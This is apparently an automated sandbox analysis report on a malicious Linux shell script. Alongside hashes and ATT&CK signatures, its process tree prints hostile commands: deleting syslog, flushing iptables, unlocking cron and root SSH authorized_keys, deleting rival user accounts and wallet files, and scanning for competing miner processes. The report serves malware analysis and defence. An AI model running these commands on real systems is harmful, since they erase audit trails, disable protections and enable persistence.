d5b2d30c7a94cd8d14c44162e61d593fd328d7460cf6895399601bb84aebf71c

Analysis

max time kernel
61s
max time network
15s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
24/02/2025, 03:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

d5b2d30c7a94cd8d14c44162e61d593fd328d7460cf6895399601bb84aebf71c.sh
Size

35KB
MD5

bec1e7369a1b7fe45f19f14e65c0c29d
SHA1

8a39e51ad5d6a0ee0d6d8533a0acae0d9cfacd5f
SHA256

d5b2d30c7a94cd8d14c44162e61d593fd328d7460cf6895399601bb84aebf71c
SHA512

1feaed1a5c1dbdfb703cb4b787542705ca7efbb917e360ee1b276a150b6ae13ba1f4a9f05e1b38454f08d1b7880076bccdd6c159a80eb8361550f034c0966892
SSDEEP

768:b87mzQ5VFNcDAFLcIwgnoYq0xFBvgmuNytmuz:bOVF+D6cIwgosFz

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Deletes system logs 1 TTPs 1 IoCs

Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File deleted	/var/log/syslog	rm

Flushes firewall rules 1 TTPs 1 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

defense_evasion

Disable or Modify System Firewall

T1562.004

pid	Process
665	iptables

Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 1 IoCs

Abuse sudo or cached sudo credentials to execute code.

privilege_escalation defense_evasion

Sudo and Sudo Caching

T1548.003

pid	Process
670	sudo

Attempts to change immutable files 64 IoCs

Modifies inode attributes on the filesystem to allow changing of immutable files.

pid	Process
1833	xargs
1858	xargs
1454	xargs
1633	xargs
1685	xargs
1795	xargs
1888	xargs
1918	xargs
1938	xargs
1953	xargs
695	chattr
1429	xargs
1444	xargs
1627	xargs
1748	xargs
1816	xargs
1943	xargs
1620	xargs
1652	xargs
1667	xargs
1726	xargs
1423	xargs
1435	xargs
1475	xargs
1640	xargs
1775	xargs
1848	xargs
1863	xargs
1908	xargs
1608	xargs
1614	xargs
1670	xargs
1731	xargs
1780	xargs
1853	xargs
1868	xargs
1883	xargs
1499	xargs
1656	sed
1662	sed
1668	sed
1676	xargs
1810	xargs
1893	xargs
1898	xargs
1560	xargs
1590	xargs
1655	xargs
1659	sed
1828	xargs
1843	xargs
1913	xargs
1923	xargs
1481	xargs
1584	xargs
1602	xargs
1679	xargs
1785	xargs
1903	xargs
1437	grep
1578	xargs
1646	xargs
1653	sed
1682	xargs

Creates/modifies Cron job 1 TTPs 13 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.1886a4	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.e57aik	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.x2ACKU	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.GS1AK3	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.amByBr	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.PBEn0F	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.DZ1VL5	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.YZxmVk	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.NbY3Ws	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.IEOUSH	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.zyIV3e	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.rSgDui	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.MEPowP	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 64 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	exim4
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	sysctl
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps

Process Discovery 1 TTPs 50 IoCs

Adversaries may try to discover information about running processes.

discovery

Process Discovery

T1057

pid	Process
1944	ps
1949	ps
1455	ps
1732	ps
1801	ps
1806	ps
1829	ps
1849	ps
1864	ps
1879	ps
1419	ps
1440	ps
1722	ps
1844	ps
1859	ps
1894	ps
1904	ps
1909	ps
1425	ps
1431	ps
1776	ps
1818	ps
1834	ps
1874	ps
1939	ps
1954	ps
1781	ps
1914	ps
1934	ps
1450	ps
1771	ps
1812	ps
1824	ps
1869	ps
1796	ps
1854	ps
1924	ps
1438	ps
1445	ps
1495	ps
1786	ps
1791	ps
1839	ps
1884	ps
1889	ps
1436	ps
1727	ps
1899	ps
1919	ps
1929	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/4/status	pkill
File opened for reading	/proc/1817/cmdline	ps
File opened for reading	/proc/145/status	pkill
File opened for reading	/proc/11/cmdline	pkill
File opened for reading	/proc/646/cmdline	pkill
File opened for reading	/proc/602/stat	ps
File opened for reading	/proc/23/status	ps
File opened for reading	/proc/42/stat	ps
File opened for reading	/proc/596/stat	ps
File opened for reading	/proc/324/cmdline	pkill
File opened for reading	/proc/29/status	pkill
File opened for reading	/proc/20/cmdline	pkill
File opened for reading	/proc/13/stat	ps
File opened for reading	/proc/27/cmdline	ps
File opened for reading	/proc/324/status	ps
File opened for reading	/proc/137/stat	ps
File opened for reading	/proc/6/cmdline	pkill
File opened for reading	/proc/655/status	pkill
File opened for reading	/proc/21/cmdline	ps
File opened for reading	/proc/107/status	ps
File opened for reading	/proc/74/cmdline	ps
File opened for reading	/proc/139/cmdline	pkill
File opened for reading	/proc/602/cmdline	pkill
File opened for reading	/proc/20/status	pkill
File opened for reading	/proc/647/cmdline	ps
File opened for reading	/proc/29/status	ps
File opened for reading	/proc/26/stat	ps
File opened for reading	/proc/6/cmdline	ps
File opened for reading	/proc/15/status	pkill
File opened for reading	/proc/15/status	ps
File opened for reading	/proc/646/status	ps
File opened for reading	/proc/646/stat	ps
File opened for reading	/proc/648/status	ps
File opened for reading	/proc/29/status	pkill
File opened for reading	/proc/1849/status	ps
File opened for reading	/proc/1901/status	ps
File opened for reading	/proc/1787/cmdline	ps
File opened for reading	/proc/filesystems	ps
File opened for reading	/proc/1920/stat	ps
File opened for reading	/proc/1/stat	ps
File opened for reading	/proc/320/status	pkill
File opened for reading	/proc/140/status	ps
File opened for reading	/proc/4/stat	ps
File opened for reading	/proc/sys/kernel/pid_max	ps
File opened for reading	/proc/13/status	pkill
File opened for reading	/proc/7/status	pkill
File opened for reading	/proc/self/stat	ps
File opened for reading	/proc/655/stat	ps
File opened for reading	/proc/1901/stat	ps
File opened for reading	/proc/25/stat	ps
File opened for reading	/proc/1936/stat	ps
File opened for reading	/proc/16/status	pkill
File opened for reading	/proc/1/cmdline	pkill
File opened for reading	/proc/147/cmdline	pkill
File opened for reading	/proc/1787/status	ps
File opened for reading	/proc/22/cmdline	ps
File opened for reading	/proc/4/status	pkill
File opened for reading	/proc/147/cmdline	pkill
File opened for reading	/proc/647/status	ps
File opened for reading	/proc/655/status	ps
File opened for reading	/proc/140/status	pkill
File opened for reading	/proc/29/status	pkill
File opened for reading	/proc/41/stat	ps
File opened for reading	/proc/19/cmdline	ps

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1373	ls

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/log_rot	d5b2d30c7a94cd8d14c44162e61d593fd328d7460cf6895399601bb84aebf71c.sh

/tmp/d5b2d30c7a94cd8d14c44162e61d593fd328d7460cf6895399601bb84aebf71c.sh
/tmp/d5b2d30c7a94cd8d14c44162e61d593fd328d7460cf6895399601bb84aebf71c.sh
1⤵
- Writes file to tmp directory
PID:649
- /bin/rm
  rm -rf /var/log/syslog
  2⤵
  - Deletes system logs
  PID:650
- /usr/bin/chattr
  chattr -iua /tmp/
  2⤵
  PID:652
- /usr/bin/chattr
  chattr -iua /var/tmp/
  2⤵
  PID:654
- /usr/bin/chattr
  chattr -R -ia /var/spool/cron
  2⤵
  PID:660
- /usr/bin/chattr
  chattr -ia /etc/crontab
  2⤵
  PID:662
- /sbin/iptables
  iptables -F
  2⤵
  - Flushes firewall rules
  PID:665
- /usr/bin/sudo
  sudo sysctl "kernel.nmi_watchdog=0"
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:670
- - /usr/sbin/sendmail
    sendmail -t
    3⤵
    PID:681
  - - /usr/sbin/exim4
      /usr/sbin/exim4 -Mc 1tmOZH-0000Az-Ck
      4⤵
      Reads CPU attributes
      PID:699
- - /usr/sbin/sendmail
    sendmail -t
    3⤵
    PID:683
  - - /usr/sbin/exim4
      /usr/sbin/exim4 -Mc 1tmOZH-0000B1-CS
      4⤵
      PID:698
- - /sbin/sysctl
    sysctl "kernel.nmi_watchdog=0"
    3⤵
    - Reads CPU attributes
    PID:685
- /usr/sbin/userdel
  userdel akay
  2⤵
  PID:687
- /usr/sbin/userdel
  userdel vfinder
  2⤵
  PID:691
- /usr/bin/chattr
  chattr -iae /root/.ssh/
  2⤵
  PID:694
- /usr/bin/chattr
  chattr -iae /root/.ssh/authorized_keys
  2⤵
  - Attempts to change immutable files
  PID:695
- /bin/rm
  rm -rf "/tmp/addres*"
  2⤵
  PID:697
- /bin/rm
  rm -rf "/tmp/walle*"
  2⤵
  PID:700
- /bin/rm
  rm -rf /tmp/keys
  2⤵
  PID:701
- /bin/ls
  ls -latrh /proc/1
  2⤵
  PID:703
- /bin/grep
  grep exe
  2⤵
  PID:704
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:707
- /bin/grep
  grep exe
  2⤵
  PID:710
- /bin/ls
  ls -latrh /proc/10
  2⤵
  PID:709
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:712
- /bin/ls
  ls -latrh /proc/104
  2⤵
  PID:716
- /bin/grep
  grep exe
  2⤵
  PID:717
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:720
- /bin/ls
  ls -latrh /proc/106
  2⤵
  PID:722
- /bin/grep
  grep exe
  2⤵
  PID:723
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:725
- /bin/grep
  grep exe
  2⤵
  PID:728
- /bin/ls
  ls -latrh /proc/107
  2⤵
  PID:727
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:730
- /bin/ls
  ls -latrh /proc/11
  2⤵
  PID:732
- /bin/grep
  grep exe
  2⤵
  PID:733
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:735
- /bin/ls
  ls -latrh /proc/12
  2⤵
  PID:737
- /bin/grep
  grep exe
  2⤵
  PID:738
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:740
- /bin/grep
  grep exe
  2⤵
  PID:743
- /bin/ls
  ls -latrh /proc/13
  2⤵
  PID:742
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:745
- /bin/grep
  grep exe
  2⤵
  PID:748
- /bin/ls
  ls -latrh /proc/137
  2⤵
  PID:747
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:752
- /bin/ls
  ls -latrh /proc/139
  2⤵
  PID:755
- /bin/grep
  grep exe
  2⤵
  PID:756
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:759
- /bin/grep
  grep exe
  2⤵
  PID:762
- /bin/ls
  ls -latrh /proc/14
  2⤵
  PID:761
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:766
- /bin/ls
  ls -latrh /proc/140
  2⤵
  PID:769
- /bin/grep
  grep exe
  2⤵
  PID:770
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:773
- /bin/grep
  grep exe
  2⤵
  PID:777
- /bin/ls
  ls -latrh /proc/145
  2⤵
  PID:776
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:779
- /bin/grep
  grep exe
  2⤵
  PID:783
- /bin/ls
  ls -latrh /proc/147
  2⤵
  PID:782
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:786
- /bin/grep
  grep exe
  2⤵
  PID:789
- /bin/ls
  ls -latrh /proc/15
  2⤵
  PID:788
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:793
- /bin/ls
  ls -latrh /proc/16
  2⤵
  PID:795
- /bin/grep
  grep exe
  2⤵
  PID:796
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:800
- /bin/grep
  grep exe
  2⤵
  PID:803
- /bin/ls
  ls -latrh /proc/165
  2⤵
  PID:802
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:807
- /bin/grep
  grep exe
  2⤵
  PID:810
- /bin/ls
  ls -latrh /proc/17
  2⤵
  PID:809
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:814
- /bin/grep
  grep exe
  2⤵
  PID:817
- /bin/ls
  ls -latrh /proc/18
  2⤵
  PID:816
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:820
- /bin/grep
  grep exe
  2⤵
  PID:824
- /bin/ls
  ls -latrh /proc/19
  2⤵
  PID:823
- /bin/grep
